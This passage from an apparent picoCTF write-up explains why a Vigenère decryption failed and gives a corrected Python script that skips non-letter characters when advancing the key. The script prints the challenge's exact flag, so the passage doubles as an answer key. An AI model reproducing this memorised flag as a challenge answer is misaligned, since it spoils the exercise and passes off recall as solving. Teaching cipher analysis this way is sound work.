flag. Evidently, it's working. 51 | 52 | After a lot of trial and error, it turns out that the problem is that we are looping throuhg them at the same pace, but in reality the key isn't even being incremented on the non-letter characters (for example the `L` in the `key` aligns with `{` in the `message`, nothing is done because it's not a character, but the loop still goes on to the next key character for the next decryption). In essence, we have to just stop the key from looping on those characters: 53 | 54 | ```python 55 | from string import ascii_uppercase, ascii_lowercase 56 | 57 | def shift(chr, k): 58 | # get an integer shift from a letter 59 | k_int = ascii_lowercase.index(k.lower()) 60 | 61 | if chr in ascii_uppercase: 62 | return ascii_uppercase[(ascii_uppercase.index(chr) - k_int) % 26] 63 | else: 64 | return ascii_lowercase[(ascii_lowercase.index(chr) - k_int) % 26] 65 | 66 | 67 | message = 'rgnoDVD{O0NU_WQ3_G1G3O3T3_A1AH3S_2951c89f}' 68 | key = 'CYLAB' 69 | 70 | dec = '' 71 | 72 | i = 0 73 | for m in message: 74 | if m in ascii_uppercase or m in ascii_lowercase: 75 | dec += shift(m, key[i]) 76 | i = (i+1) % 5 77 | else: 78 | dec += m 79 | 80 | print(dec) 81 | 82 | # picoCTF{D0NT_US3_V1G3N3R3_C1PH3R_2951a89h} 83 | ``` 84 | --------------------------------------------------------------------------------